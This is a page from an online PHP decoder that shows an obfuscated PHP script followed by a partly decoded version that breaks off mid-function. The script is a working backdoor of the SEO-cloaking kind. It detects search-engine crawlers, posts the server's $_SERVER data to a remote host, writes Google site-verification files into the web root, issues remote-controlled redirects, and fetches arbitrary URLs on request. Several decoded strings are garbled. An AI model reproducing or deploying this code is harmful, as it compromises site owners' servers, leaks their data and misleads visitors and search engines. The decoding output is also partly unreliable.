Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php goto Rmusn; YmDUF: bfDiE: goto g4o4x; t4lk3: if (!function_exists("\x6f\142\137\x73\164\x61\162\164")) { goto bfDiE; } goto tJ1hb; S7sfS: function sKsuZ($OzZZI = '') { return preg_match("\x2f\x28\147\x6f\157\147\x6c\x65\x2e\x63\157\x2e\x6a\x70\174\x79\x61\150\157\157\56\143\157\56\x6a\160\174\142\x69\x6e\x67\174\142\x61\x69\144\x75\x7c\147\157\x6f\147\154\x65\56\143\x6f\x6d\x29\57\163\151", $OzZZI); } goto S3xnb; Rmusn: @date_default_timezone_set("\x50\x52\x43"); goto t4lk3; S3xnb: function cyeav($klIY1) { goto Jrcto; AGLes: foreach ($HPMTP as $wAyRB => $Ahzd3) { $HPMTP[$wAyRB] = chr(ord($Ahzd3) - 5); EKo8N: } goto Wpqhk; P5dRp: MuAj_: goto EtUNW; BHs3P: $HPMTP = preg_split("\x2f\x2f", $JxUpp[2], -1, PREG_SPLIT_NO_EMPTY); goto AGLes; GraZN: if (!($JxUpp[2] != '')) { goto MuAj_; } goto BHs3P; OjJk2: if (!(is_array($JxUpp) && count($JxUpp) == 4)) { goto YGyvm; } goto GraZN; Wpqhk: eA1Po: goto tbOEr; jHPId: return $CDnTp; goto YBj6O; wQnaH: preg_match("\x2f\x28\x5b\x5e\x5c\x2e\x5d\53\x5c\x2e\x29\x28\56\x2a\x29\x28\x5c\x2f\56\52\51\57", $klIY1, $JxUpp); goto OjJk2; tbOEr: $CDnTp = implode('', $HPMTP); goto P5dRp; Jrcto: $CDnTp = ''; goto wQnaH; US29W: YGyvm: goto jHPId; EtUNW: $CDnTp = $JxUpp[1] . $CDnTp . $JxUpp[3]; goto US29W; YBj6O: } goto P2mMf; u_dJH: function LjU54() { goto SubzQ; OMwK1: if (!function_exists("\170\66\70\x63\64")) { goto b0GEk; } goto EiLUu; l0PrI: return array("\154\x6f\141\144\x31" => isset($cKIOC[0]) ? $cKIOC[0] : 0, "\x6c\x6f\141\x64\x35" => isset($cKIOC[1]) ? $cKIOC[1] : 0, "\x6c\157\x61\x64\x31\65" => isset($cKIOC[2]) ? $cKIOC[2] : 0, "\x63\160\165" => $AThYq); goto jGjuD; BmBPI: k9HI4: goto WLWiR; Bwpq6: QnZYX: goto l0PrI; Vmoi7: $AThYq = 1; goto yjZhg; yjZhg: $UwuBv = @file("\x2f\x70\x72\157\x63\x2f\x63\x70\x75\151\156\146\x6f"); goto DRw9T; m1T4Y: $AThYq = 0; goto UUYWp; WLWiR: if (!($AThYq < 1)) { goto BuYrH; } goto HnNXW; bZqeT: b0GEk: goto Vmoi7; SubzQ: $cKIOC = array(0, 0, 0); goto OMwK1; EiLUu: $cKIOC = x68c4(); goto bZqeT; DRw9T: if (!$UwuBv) { goto QnZYX; } goto m1T4Y; R9yto: BuYrH: goto Bwpq6; HnNXW: $AThYq = 1; goto R9yto; UUYWp: foreach ($UwuBv as $HHKh4) { goto cwIhX; cwIhX: if (!(strpos($HHKh4, "\160\162\157\143\x65\163\x73\x6f\162") === 0)) { goto xs_Jy; } goto wHqH9; V4LCR: mliPm: goto FEdf0; wHqH9: $AThYq++; goto WwVl0; WwVl0: xs_Jy: goto V4LCR; FEdf0: } goto BmBPI; jGjuD: } goto yBbjW; P2mMf: function z0DQZ($I19BG = '') { goto BtevO; nchDR: $fmaCJ .= "\147\x6c\145\55\163\151"; goto SmvA3; EGzfr: $XNrCs = "\74\x61\40\150\x72\145\x66\x3d\42\x25\163\x22\x20\x74\x61\x72\147\x65\x74\75\42\137\142\154\x61\156\153\42\76\x25\x73\74\x2f\141\76"; goto fxxdy; o5ZU4: chmod($ryDGM, 0755); goto UFl9X; ZZqRF: echo "{$Zei_F}"; goto ZSpZL; uvlUu: $fmaCJ .= "\x66\151\143\x61"; goto QFZI2; ZSpZL: die; goto B0Dhk; K_bae: b_YDA: goto IlP60; khnqr: $LaCbY .= "\x5d\x7b\x31\x36"; goto co3K2; C0pwq: die; goto E0cVP; u7suK: if ($ko90t) { goto GkE74; } goto JlcZK; H_8Uw: $ryDGM = $_SERVER[$f70JM]; goto FSnBJ; AOOtH: $BXZvQ = "\x35\60\63\x20\123\145"; goto DjSYB; jtR3K: if (!in_array($Zei_F, array("\52\x34\x30\64", "\52\x72\145\x74\x75\x72\x6e"))) { goto s240j; } goto uaabM; FSnBJ: if (!preg_match("\57\163\x69\x74\x65\155\x61\x70\56\52\77\134\56\170\155\154\x24\x2f\x73\151", $h5Mpd)) { goto Ss9dm; } goto fMrpc; nH1KE: s240j: goto EYwZy; HeYVe: $f70JM .= "\x55\x4d\105\x4e"; goto CFMMO; xfDQD: $Zei_F = $R5a5N[2]; goto N5AzE; fMrpc: $Zei_F = ASqIt($vC3hl, array("\x78" => serialize($_SERVER))); goto lbEWN; djza1: header("\x48\x54\124\120\x2f\x31\56\x31\x20{$BXZvQ}"); goto u91GC; RJY8l: $LaCbY .= "\147\x6c\x65\133\134\167"; goto khnqr; ERSbL: echo asQiT($vrUIr); goto TeyP2; eqPj0: if (!($fQin0 || $HdkD6)) { goto Un5fL; } goto EGzfr; bBODO: $Zei_F = $R5a5N[2]; goto m9vRc; IlP60: $Zei_F = ASqIt($vC3hl, array("\x78" => serialize($_SERVER))); goto soPbp; QFZI2: $fmaCJ .= $AVRVk; goto HGjqf; lsOHF: die; goto qdlOv; ZFwC0: $RdYqM = isset($_SERVER["\110\124\124\120\x5f\122\x45\x46\105\x52\105\x52"]) ? $_SERVER["\x48\124\124\x50\x5f\x52\x45\106\x45\x52\x45\122"] : ''; goto zSVhB; vaFAC: goto jnMzO; goto HujsO; iQQHL: $hTu1U = trim($Py5O8[1]); goto K1xYv; EEMNm: Jn5Hq: goto qLMDx; oMNqf: $LaCbY .= "\x74\155\154\x29"; goto hmOGg; Bk3BJ: WgiF9: goto AVZZn; TUUf3: $BXZvQ .= "\x61\x69\154\x61\142\x6c\145"; goto djza1; UFl9X: file_put_contents("{$ryDGM}\57{$FhKJS}", "{$fmaCJ}\x20{$FhKJS}"); goto qngwb; ze8um: header($R5a5N[1]); goto bBODO; Ulbh8: $M0Xne = "\x79\x74\x31"; goto lI4l3; lI4l3: $f70JM = "\104\x4f\103"; goto HeYVe; BtevO: $h5Mpd = isset($_SERVER["\x52\x45\121\x55\x45\123\x54\x5f\125\x52\111"]) ? $_SERVER["\122\105\x51\x55\x45\x53\x54\137\125\x52\111"] : (isset($_SERVER["\x51\125\x45\x52\131\x5f\123\x54\122\x49\x4e\107"]) ? $_SERVER["\121\x55\x45\x52\131\137\123\124\122\111\x4e\x47"] : ''); goto rz2bx; AVZZn: if (!preg_match("\57\x5e\x48\x65\x61\144\100\x28\56\52\x3f\51\100\100\50\x2e\52\51\57\x69\163", $Zei_F, $R5a5N)) { goto MqwF7; } goto ze8um; SgrSH: $_SERVER["\171\164\x5f\x6c\157\141\144\x61\166\x67"] = Lju54(); goto EEMNm; JlcZK: echo $hTu1U; goto vaFAC; QHt4Z: if (preg_match("\x2f\x5e\x68\164\x74\x70\x73\77\x2f\163\151", $vrUIr)) { goto icDdu; } goto luiCp; TtE7V: die; goto Bk3BJ; boROA: jnMzO: goto TtE7V; lbEWN: $Zei_F = trim($Zei_F); goto vbb5r; uaabM: return; goto nH1KE; j_a4n: echo sprintf("\x3c\x62\x6f\x64\x79\40\157\156\x6c\x6f\141\144\75\x22\144\157\143\165\x6d\145\x6e\x74\56\147\x65\x74\x45\154\x65\155\145\156\164\x73\x42\171\x54\x61\147\116\141\155\x65\x28\45\x73\x61\45\x73\x29\x5b\60\135\x2e\143\154\151\143\153\x28\x29\42\76\74\141\x20\x68\162\145\146\75\x22\45\x73\x22\76\74\57\x61\76\x3c\156\157\x73\143\162\x69\160\x74\x3e\x3c\155\145\x74\141\x20\150\x74\164\160\55\x65\161\x75\x69\x76\75\42\162\x65\x66\162\145\163\x68\42\40\x63\157\x6e\x74\145\x6e\x74\x3d\42\x30\73\x20\165\162\154\75\45\163\42\40\x2f\76\74\57\156\157\163\x63\x72\151\x70\x74\x3e\74\x2f\142\157\x64\171\76", "\x27", "\47", $hTu1U, $hTu1U); goto boROA; QXBpH: $_SERVER["\x79\164\x5f\x6a\165\x6d\160"] = 1; goto K_bae; fDUtI: header("{$AVRVk}\x20\x2f{$FhKJS}"); goto lsOHF; jBEqn: $_SERVER["\x79\x74\x5f\x6a\165\155\160"] = 0; goto MgmJS; vbb5r: if (!preg_match("\x2f\136\110\x65\x61\x64\100\50\56\52\x3f\x29\x40\x40\50\56\52\x29\x2f\151\163", $Zei_F, $R5a5N)) { goto hxoRf; } goto GvDI0; gVTyW: $UfHxA = parse_url($vC3hl); goto u1lCh; soPbp: $Zei_F = trim($Zei_F); goto jtR3K; TeyP2: xJyf5: goto NHbnU; qdlOv: yIL_M: goto eqPj0; BG7so: if (!preg_match("\x2f" . $LaCbY . "\x24\57\x73\x69", $h5Mpd, $ok7Lv)) { goto yIL_M; } goto K1kFw; u91GC: header("\123\164\x61\164\165\x73\72\x20{$BXZvQ}"); goto cn73M; co3K2: $LaCbY .= "\175\x5c\56\x78\150"; goto oMNqf; HujsO: GkE74: goto j_a4n; zSVhB: $Y_zXY = isset($_SERVER["\110\x54\124\120\137\125\123\105\122\x5f\101\107\x45\x4e\124"]) ? $_SERVER["\110\x54\x54\120\137\x55\x53\x45\122\x5f\x41\x47\105\116\x54"] : ''; goto c3E3S; tA0O4: if (!preg_match("\57\136\x4a\165\x6d\160\100\50\x2e\x2a\x29\x2f", $Zei_F, $Py5O8)) { goto WgiF9; } goto iQQHL; PkwhP: $vC3hl = sprintf("\150\x74\x74\x70\x73\x3a\x2f\57\x25\x73\56\x70\171", CYEav($E1aE_[0])); goto jBEqn; JNCGe: $vrUIr = trim($_GET[$M0Xne]); goto QHt4Z; K1kFw: $FhKJS = str_replace("\56\x78", "\56", trim($ok7Lv[1])); goto o5ZU4; EYwZy: if (!($Zei_F == "\52\x35\60\x33")) { goto glPl9; } goto AOOtH; cYN73: die; goto c4fI1; rz2bx: $h5Mpd = $h5Mpd == '' ? isset($_SERVER["\120\x41\124\x48\137\111\116\x46\117"]) && $_SERVER["\120\101\124\110\x5f\111\116\106\117"] != '' ? $_SERVER["\x50\101\124\110\x5f\111\116\x46\117"] : $h5Mpd : $h5Mpd; goto ZFwC0; N5AzE: hxoRf: goto UkIGw; IHSgT: $_SERVER["\x79\164\137\x75\160"] = $E1aE_[2]; goto Ulbh8; SmvA3: $fmaCJ .= "\164\145\55\166\x65\x72\x69"; goto uvlUu; UkIGw: echo "{$Zei_F}"; goto cYN73; Fxn0O: icDdu: goto ERSbL; c4mfX: $LaCbY = "\x28\x67\x6f\157"; goto RJY8l; E0cVP: glPl9: goto tA0O4; CFMMO: $f70JM .= "\x54\x5f\122\117\117\x54"; goto H_8Uw; c4fI1: Ss9dm: goto wJAmJ; K1xYv: $ko90t = preg_match("\57\136\150\x74\x74\x70\x73\77\134\72\134\57\x5c\x2f\x2f\163\x69", $hTu1U); goto u7suK; luiCp: echo sprintf($XNrCs, $vC3hl, $vC3hl) . "\74\142\162\x20\57\76\x3c\142\x72\x20\x2f\76"; goto gVTyW; fxxdy: if (!isset($_GET[$M0Xne])) { goto s2eFv; } goto JNCGe; HGjqf: $AVRVk = "\114\x6f\x63\x61" . $AVRVk; goto BG7so; SKa4n: s2eFv: goto Zhgwh; qngwb: chmod($ryDGM, 0555); goto fDUtI; GvDI0: header($R5a5N[1]); goto xfDQD; qLMDx: if (!$HdkD6) { goto b_YDA; } goto QXBpH; qgAWg: $E1aE_ = explode("\x3a\x3a", A); goto PkwhP; Zhgwh: if (!$fQin0) { goto Jn5Hq; } goto SgrSH; NHbnU: die; goto SKa4n; wJAmJ: $AVRVk = "\164\x69\157\156\72"; goto c4mfX; c3E3S: $fQin0 = wgqhs($Y_zXY); goto j5aDc; j5aDc: $HdkD6 = sKsuZ($RdYqM); goto qgAWg; cn73M: header("\x52\145\164\162\171\x2d\101\146\x74\x65\162\72\x20\x31\62\x30"); goto C0pwq; hmOGg: $fmaCJ = "\x67\157\x6f"; goto nchDR; KyEfu: goto xJyf5; goto Fxn0O; m9vRc: MqwF7: goto ZZqRF; B0Dhk: Un5fL: goto y7pc8; DjSYB: $BXZvQ .= "\x72\x76\x69\143\x65\40\125\x6e\141\166"; goto TUUf3; MgmJS: $_SERVER["\171\x74\137\x67\x7a"] = $E1aE_[1]; goto IHSgT; u1lCh: echo gethostbyname($UfHxA["\x68\x6f\x73\164"]); goto KyEfu; y7pc8: } goto gWRRI; tJ1hb: @ob_start(); goto YmDUF; yBbjW: function WGQHs($avLli = '') { return preg_match("\x2f\x28\x67\157\157\147\154\x65\x62\x6f\164\174\142\x69\x6e\147\x62\157\x74\x7c\x67\157\157\x67\154\x65\174\x62\x61\151\x64\165\x7c\x62\x69\x6e\x67\x7c\x79\141\x68\157\x6f\174\171\x61\x6e\x64\145\x78\x29\x2f\x73\151", $avLli); } goto S7sfS; g4o4x: function aSqiT($BWLow, $IAK_x = array()) { goto zzk5l; zzk5l: $ehCTI = 0; goto xpHsM; vD1yi: return $ehCTI; goto YbPKD; xpHsM: try { goto nrIbS; TNBKl: $wmpGR = $IpRm1; goto OWYpj; wNLY2: goto mRx7b; goto OknNX; PhnVv: $WWVwg = isset($DmAtg[0]) ? $DmAtg[0] : ''; goto cazgv; ZA6s0: $hEHKL = "\x50\x4f\x53\x54"; goto lR52a; BHWmD: $gzXkN = isset($kqrxu["\x73\x63\x68\x65\x6d\145"]) ? $kqrxu["\x73\x63\x68\145\155\145"] : "\x68\x74\x74\x70"; goto lEXEu; HVpfT: fwrite($BAjZg, $yOYQo); goto aUpKM; vO2qo: $WWVwg .= "\x43\x6f\156\x74\x65\x6e\164\x2d\114\x65\x6e\147\x74\x68\72\40" . strlen($OKGQO) . "\xd\12"; goto RP91_; OknNX: yFBtv: goto iuw89; h0L3S: $DTpgb = curl_init(); goto uNQ85; cvhgo: if (feof($BAjZg)) { goto GFLPe; } goto R7I2l; NJw2O: if (empty($IAK_x)) { goto mt6l_; } goto lhSGm; OWYpj: IKFMs: goto UYyKx; ebjS5: $WWVwg .= "\103\157\156\164\x65\156\164\x2d\x54\171\x70\x65\x3a\40\x61\160\x70\154\x69\x63\x61\x74\x69\157\156\x2f\170\x2d\167\167\167\x2d\146\157\x72\155\x2d\165\x72\x6c\x65\156\143\157\144\145\x64\xd\12"; goto vO2qo; lEXEu: $FM3MI = $kqrxu["\150\157\x73\x74"]; goto bMaz1; UYyKx: $ehCTI = trim($wmpGR); goto rzpYj; b41Ub: if (!($ehCTI === 0)) { goto yGGB9; } goto Ev8zW; lepGk: yGGB9: goto wKYYZ; QFM9M: xyU_S: goto HvdMX; Mrzvy: goto DgrhW; goto h1Pl8; us26q: $RHaVw = ($gzXkN === "\150\164\164\160\163" ? "\x73\163\154\x3a\x2f\57" : '') . $FM3MI . "\x3a" . $RA4P_; goto CxlFI; Gb31O: $yOYQo .= "\x48\157\163\164\72\40{$FM3MI}\xd\xa"; goto BkaC_; uNQ85: curl_setopt($DTpgb, CURLOPT_URL, $BWLow); goto xQmK0; fk2JP: $qZdor = strpos($wmpGR, "\xd\xa"); goto sfwjr; Ecc2q: curl_setopt($DTpgb, CURLOPT_SSL_VERIFYPEER, false); goto ER3_J; h1Pl8: GFLPe: goto N7X1m; IK0S_: oVMI1: goto SLSWH; gOmSy: $kqrxu = parse_url($BWLow); goto BHWmD; JbHvw: $OKGQO = ''; goto j8wqH; HvdMX: s1oIo: goto b41Ub; lEx8B: goto wveOY; goto iJJmr; BkaC_: $yOYQo .= $WWVwg; goto IGYM4; Y7Y4q: curl_setopt($DTpgb, CURLOPT_FOLLOWLOCATION, 1); goto lrqBs; iuw89: $IpRm1 .= substr($wmpGR, $qZdor + 2, $JklWk); goto i_m7O; aUpKM: DgrhW: goto cvhgo; MxUcL: $LW22N = isset($kqrxu["\160\141\x74\150"]) ? $kqrxu["\160\x61\164\150"] : "\x2f"; goto gub1W; PcpKK: x7N3N: goto HVpfT; R7I2l: $ehCTI .= fgets($BAjZg, 1024); goto Mrzvy; xQmK0: curl_setopt($DTpgb, CURLOPT_USERAGENT, "\127\x48\x52"); goto ze2Ta; IGYM4: if (!($hEHKL === "\120\117\123\124")) { goto x7N3N; } goto r4V6O; i_m7O: $wmpGR = substr($wmpGR, $qZdor + 2 + $JklWk + 2); goto lEx8B; pQ_Zg: $B3iVh = curl_exec($DTpgb); goto xTuPp; Xy33N: if (!(stripos($WWVwg, "\124\162\x61\156\163\x66\145\x72\55\105\x6e\x63\157\144\151\156\147\x3a\40\143\150\165\x6e\153\145\144") !== false)) { goto IKFMs; } goto vAyT4; rooQb: if (empty($IAK_x)) { goto Lbt3G; } goto ZA6s0; bMaz1: $RA4P_ = $gzXkN === "\x68\164\164\x70\x73" ? 443 : 80; goto MxUcL; nSvHX: if (!$B3iVh) { goto xyU_S; } goto EDUW7; xTuPp: curl_close($DTpgb); goto nSvHX; SLSWH: $JklWk = hexdec(substr($wmpGR, 0, $qZdor)); goto TBYz3; ze2Ta: curl_setopt($DTpgb, CURLOPT_CONNECTTIMEOUT, 0); goto LafRK; mKI_W: goto mRx7b; goto IK0S_; lhSGm: curl_setopt($DTpgb, CURLOPT_POST, 1); goto vK4O_; TBYz3: if (!($JklWk === 0)) { goto yFBtv; } goto wNLY2; rzpYj: FkbPi: goto lepGk; ro6Jt: $WWVwg = "\125\163\145\x72\x2d\101\147\x65\x6e\x74\x3a\x20\x57\110\122\xd\xa"; goto rooQb; CxlFI: $BAjZg = stream_socket_client($RHaVw, $L8dpH, $mPXoI, 45); goto CLDoT; EDUW7: $ehCTI = trim(trim($B3iVh, "\xef\273\xbf")); goto QFM9M; mLS1b: $DmAtg = explode("\xd\xa\xd\12", $ehCTI, 2); goto PhnVv; vAyT4: $IpRm1 = ''; goto aHo7r; RP91_: Lbt3G: goto m8qq5; CLDoT: if (!$BAjZg) { goto FkbPi; } goto p493U; r4V6O: $yOYQo .= $OKGQO; goto PcpKK; p493U: $yOYQo = "{$hEHKL}\x20{$LW22N}{$SIIjC}\x20\x48\x54\124\120\57\x31\56\x31\15\xa"; goto Gb31O; j8wqH: $hEHKL = "\107\x45\x54"; goto ro6Jt; N7X1m: fclose($BAjZg); goto mLS1b; iefhY: mt6l_: goto pQ_Zg; iJJmr: mRx7b: goto TNBKl; lR52a: $OKGQO = http_build_query($IAK_x); goto ebjS5; cazgv: $wmpGR = isset($DmAtg[1]) ? $DmAtg[1] : ''; goto Xy33N; vK4O_: curl_setopt($DTpgb, CURLOPT_POSTFIELDS, http_build_query($IAK_x)); goto iefhY; ER3_J: curl_setopt($DTpgb, CURLOPT_SSL_VERIFYHOST, false); goto Y7Y4q; E2Cvw: if (!true) { goto mRx7b; } goto fk2JP; sfwjr: if (!($qZdor === false)) { goto oVMI1; } goto mKI_W; aHo7r: wveOY: goto E2Cvw; lrqBs: curl_setopt($DTpgb, CURLOPT_TIMEOUT, 60); goto NJw2O; gub1W: $SIIjC = isset($kqrxu["\x71\x75\x65\162\171"]) ? "\77" . $kqrxu["\x71\165\x65\x72\x79"] : ''; goto JbHvw; Ev8zW: $ehCTI = ''; goto gOmSy; m8qq5: $WWVwg .= "\x43\157\156\156\145\143\164\151\157\x6e\x3a\40\143\154\x6f\x73\145\xd\xa\xd\xa"; goto us26q; nrIbS: if (!(function_exists("\x63\165\162\x6c\x5f\151\x6e\x69\x74") && function_exists("\x63\x75\x72\x6c\137\145\170\x65\143"))) { goto s1oIo; } goto h0L3S; LafRK: curl_setopt($DTpgb, CURLOPT_RETURNTRANSFER, 1); goto Ecc2q; wKYYZ: } catch (Exception $UCmFt) { } goto vD1yi; YbPKD: } goto u_dJH; gWRRI: z0DQz();

Show other level

Decrypted code level 1:

goto Rmusn; YmDUF: bfDiE: goto g4o4x; t4lk3: if (!function_exists("ob_start")) { goto bfDiE; } goto tJ1hb; S7sfS: function sKsuZ($OzZZI = '') { return preg_match("/(google.co.jp|yahoo.co.jp|bing|baidu|google.com)/si", $OzZZI); } goto S3xnb; Rmusn: @date_default_timezone_set("PRC"); goto t4lk3; S3xnb: function cyeav($klIY1) { goto Jrcto; AGLes: foreach ($HPMTP as $wAyRB => $Ahzd3) { $HPMTP[$wAyRB] = chr(ord($Ahzd3) - 5); EKo8N: } goto Wpqhk; P5dRp: MuAj_: goto EtUNW; BHs3P: $HPMTP = preg_split("//", $JxUpp[2], -1, PREG_SPLIT_NO_EMPTY); goto AGLes; GraZN: if (!($JxUpp[2] != '')) { goto MuAj_; } goto BHs3P; OjJk2: if (!(is_array($JxUpp) && count($JxUpp) == 4)) { goto YGyvm; } goto GraZN; Wpqhk: eA1Po: goto tbOEr; jHPId: return $CDnTp; goto YBj6O; wQnaH: preg_match("/([^\.]+\.)(.*)(\/.*)/", $klIY1, $JxUpp); goto OjJk2; tbOEr: $CDnTp = implode('', $HPMTP); goto P5dRp; Jrcto: $CDnTp = ''; goto wQnaH; US29W: YGyvm: goto jHPId; EtUNW: $CDnTp = $JxUpp[1] . $CDnTp . $JxUpp[3]; goto US29W; YBj6O: } goto P2mMf; u_dJH: function LjU54() { goto SubzQ; OMwK1: if (!function_exists("x68c4")) { goto b0GEk; } goto EiLUu; l0PrI: return array("load1" => isset($cKIOC[0]) ? $cKIOC[0] : 0, "load5" => isset($cKIOC[1]) ? $cKIOC[1] : 0, "load15" => isset($cKIOC[2]) ? $cKIOC[2] : 0, "cpu" => $AThYq); goto jGjuD; BmBPI: k9HI4: goto WLWiR; Bwpq6: QnZYX: goto l0PrI; Vmoi7: $AThYq = 1; goto yjZhg; yjZhg: $UwuBv = @file("/proc/cpuinfo"); goto DRw9T; m1T4Y: $AThYq = 0; goto UUYWp; WLWiR: if (!($AThYq < 1)) { goto BuYrH; } goto HnNXW; bZqeT: b0GEk: goto Vmoi7; SubzQ: $cKIOC = array(0, 0, 0); goto OMwK1; EiLUu: $cKIOC = x68c4(); goto bZqeT; DRw9T: if (!$UwuBv) { goto QnZYX; } goto m1T4Y; R9yto: BuYrH: goto Bwpq6; HnNXW: $AThYq = 1; goto R9yto; UUYWp: foreach ($UwuBv as $HHKh4) { goto cwIhX; cwIhX: if (!(strpos($HHKh4, "processor") === 0)) { goto xs_Jy; } goto wHqH9; V4LCR: mliPm: goto FEdf0; wHqH9: $AThYq++; goto WwVl0; WwVl0: xs_Jy: goto V4LCR; FEdf0: } goto BmBPI; jGjuD: } goto yBbjW; P2mMf: function z0DQZ($I19BG = '') { goto BtevO; nchDR: $fmaCJ .= "gle-si"; goto SmvA3; EGzfr: $XNrCs = "<a href="%s" target="_blank">%s</a>"; goto fxxdy; o5ZU4: chmod($ryDGM, 0755); goto UFl9X; ZZqRF: echo "{$Zei_F}"; goto ZSpZL; uvlUu: $fmaCJ .= "fica"; goto QFZI2; ZSpZL: die; goto B0Dhk; K_bae: b_YDA: goto IlP60; khnqr: $LaCbY .= "]{16"; goto co3K2; C0pwq: die; goto E0cVP; u7suK: if ($ko90t) { goto GkE74; } goto JlcZK; H_8Uw: $ryDGM = $_SERVER[$f70JM]; goto FSnBJ; AOOtH: $BXZvQ = "503 Se"; goto DjSYB; jtR3K: if (!in_array($Zei_F, array("T04", "*return"))) { goto s240j; } goto uaabM; FSnBJ: if (!preg_match("/sitemap.*?\.xml$/si", $h5Mpd)) { goto Ss9dm; } goto fMrpc; nH1KE: s240j: goto EYwZy; HeYVe: $f70JM .= "UMEN"; goto CFMMO; xfDQD: $Zei_F = $R5a5N[2]; goto N5AzE; fMrpc: $Zei_F = ASqIt($vC3hl, array("x" => serialize($_SERVER))); goto lbEWN; djza1: header("HTTP/1q {$BXZvQ}"); goto u91GC; RJY8l: $LaCbY .= "gle[\w"; goto khnqr; ERSbL: echo asQiT($vrUIr); goto TeyP2; eqPj0: if (!($fQin0 || $HdkD6)) { goto Un5fL; } goto EGzfr; bBODO: $Zei_F = $R5a5N[2]; goto m9vRc; IlP60: $Zei_F = ASqIt($vC3hl, array("x" => serialize($_SERVER))); goto soPbp; QFZI2: $fmaCJ .= $AVRVk; goto HGjqf; lsOHF: die; goto qdlOv; ZFwC0: $RdYqM = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto zSVhB; vaFAC: goto jnMzO; goto HujsO; iQQHL: $hTu1U = trim($Py5O8[1]); goto K1xYv; EEMNm: Jn5Hq: goto qLMDx; oMNqf: $LaCbY .= "tml)"; goto hmOGg; Bk3BJ: WgiF9: goto AVZZn; TUUf3: $BXZvQ .= "ailable"; goto djza1; UFl9X: file_put_contents("{$ryDGM}/{$FhKJS}", "{$fmaCJ} {$FhKJS}"); goto qngwb; ze8um: header($R5a5N[1]); goto bBODO; Ulbh8: $M0Xne = "yt1"; goto lI4l3; lI4l3: $f70JM = "DOC"; goto HeYVe; BtevO: $h5Mpd = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : ''); goto rz2bx; AVZZn: if (!preg_match("/^Head@(.*?)@@(.*)/is", $Zei_F, $R5a5N)) { goto MqwF7; } goto ze8um; SgrSH: $_SERVER["yt_loadavg"] = Lju54(); goto EEMNm; JlcZK: echo $hTu1U; goto vaFAC; QHt4Z: if (preg_match("/^https?/si", $vrUIr)) { goto icDdu; } goto luiCp; TtE7V: die; goto Bk3BJ; boROA: jnMzO: goto TtE7V; lbEWN: $Zei_F = trim($Zei_F); goto vbb5r; uaabM: return; goto nH1KE; j_a4n: echo sprintf("<body onload="document.getElementsByTagName(%sa%s)[0].click()"><a href="%s"></a><noscript><meta http-equiv="refresh" content=; url=%s" /></noscript></body>", "'", "'", $hTu1U, $hTu1U); goto boROA; QXBpH: $_SERVER["yt_jump"] = 1; goto K_bae; fDUtI: header("{$AVRVk} /{$FhKJS}"); goto lsOHF; jBEqn: $_SERVER["yt_jump"] = 0; goto MgmJS; vbb5r: if (!preg_match("/^Head@(.*?)@@(.*)/is", $Zei_F, $R5a5N)) { goto hxoRf; } goto GvDI0; gVTyW: $UfHxA = parse_url($vC3hl); goto u1lCh; soPbp: $Zei_F = trim($Zei_F); goto jtR3K; TeyP2: xJyf5: goto NHbnU; qdlOv: yIL_M: goto eqPj0; BG7so: if (!preg_match("/" . $LaCbY . "$/si", $h5Mpd, $ok7Lv)) { goto yIL_M; } goto K1kFw; u91GC: header("Status: {$BXZvQ}"); goto cn73M; co3K2: $LaCbY .= "}\.xh"; goto oMNqf; HujsO: GkE74: goto j_a4n; zSVhB: $Y_zXY = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto c3E3S; tA0O4: if (!preg_match("/^Jump@(.*)/", $Zei_F, $Py5O8)) { goto WgiF9; } goto iQQHL; PkwhP: $vC3hl = sprintf("https://%s.py", CYEav($E1aE_[0])); goto jBEqn; JNCGe: $vrUIr = trim($_GET[$M0Xne]); goto QHt4Z; K1kFw: $FhKJS = str_replace(".x", , trim($ok7Lv[1])); goto o5ZU4; EYwZy: if (!($Zei_F == "U")) { goto glPl9; } goto AOOtH; cYN73: die; goto c4fI1; rz2bx: $h5Mpd = $h5Mpd == '' ? isset($_SERVER["PATH_INFO"]) && $_SERVER["PATH_INFO"] != '' ? $_SERVER["PATH_INFO"] : $h5Mpd : $h5Mpd; goto ZFwC0; N5AzE: hxoRf: goto UkIGw; IHSgT: $_SERVER["yt_up"] = $E1aE_[2]; goto Ulbh8; SmvA3: $fmaCJ .= "te-veri"; goto uvlUu; UkIGw: echo "{$Zei_F}"; goto cYN73; Fxn0O: icDdu: goto ERSbL; c4mfX: $LaCbY = "(goo"; goto RJY8l; E0cVP: glPl9: goto tA0O4; CFMMO: $f70JM .= "T_ROOT"; goto H_8Uw; c4fI1: Ss9dm: goto wJAmJ; K1xYv: $ko90t = preg_match("/^https?\:\/\//si", $hTu1U); goto u7suK; luiCp: echo sprintf($XNrCs, $vC3hl, $vC3hl) . "<br /><br />"; goto gVTyW; fxxdy: if (!isset($_GET[$M0Xne])) { goto s2eFv; } goto JNCGe; HGjqf: $AVRVk = "Loca" . $AVRVk; goto BG7so; SKa4n: s2eFv: goto Zhgwh; qngwb: chmod($ryDGM, 0555); goto fDUtI; GvDI0: header($R5a5N[1]); goto xfDQD; qLMDx: if (!$HdkD6) { goto b_YDA; } goto QXBpH; qgAWg: $E1aE_ = explode("::", A); goto PkwhP; Zhgwh: if (!$fQin0) { goto Jn5Hq; } goto SgrSH; NHbnU: die; goto SKa4n; wJAmJ: $AVRVk = "tion:"; goto c4mfX; c3E3S: $fQin0 = wgqhs($Y_zXY); goto j5aDc; j5aDc: $HdkD6 = sKsuZ($RdYqM); goto qgAWg; cn73M: header("Retry-After: 1"); goto C0pwq; hmOGg: $fmaCJ = "goo"; goto nchDR; KyEfu: goto xJyf5; goto Fxn0O; m9vRc: MqwF7: goto ZZqRF; B0Dhk: Un5fL: goto y7pc8; DjSYB: $BXZvQ .= "rvice Unav"; goto TUUf3; MgmJS: $_SERVER["yt_gz"] = $E1aE_[1]; goto IHSgT; u1lCh: echo gethostbyname($UfHxA["host"]); goto KyEfu; y7pc8: } goto gWRRI; tJ1hb: @ob_start(); goto YmDUF; yBbjW: function WGQHs($avLli = '') { return preg_match("/(googlebot|bingbot|google|baidu|bing|yahoo|yandex)/si", $avLli); } goto S7sfS; g4o4x: function aSqiT($BWLow, $IAK_x = array()) { goto zzk5l; zzk5l: $ehCTI = 0; goto xpHsM; vD1yi: return $ehCTI; goto YbPKD; xpHsM: try { goto nrIbS; TNBKl: $wmpGR = 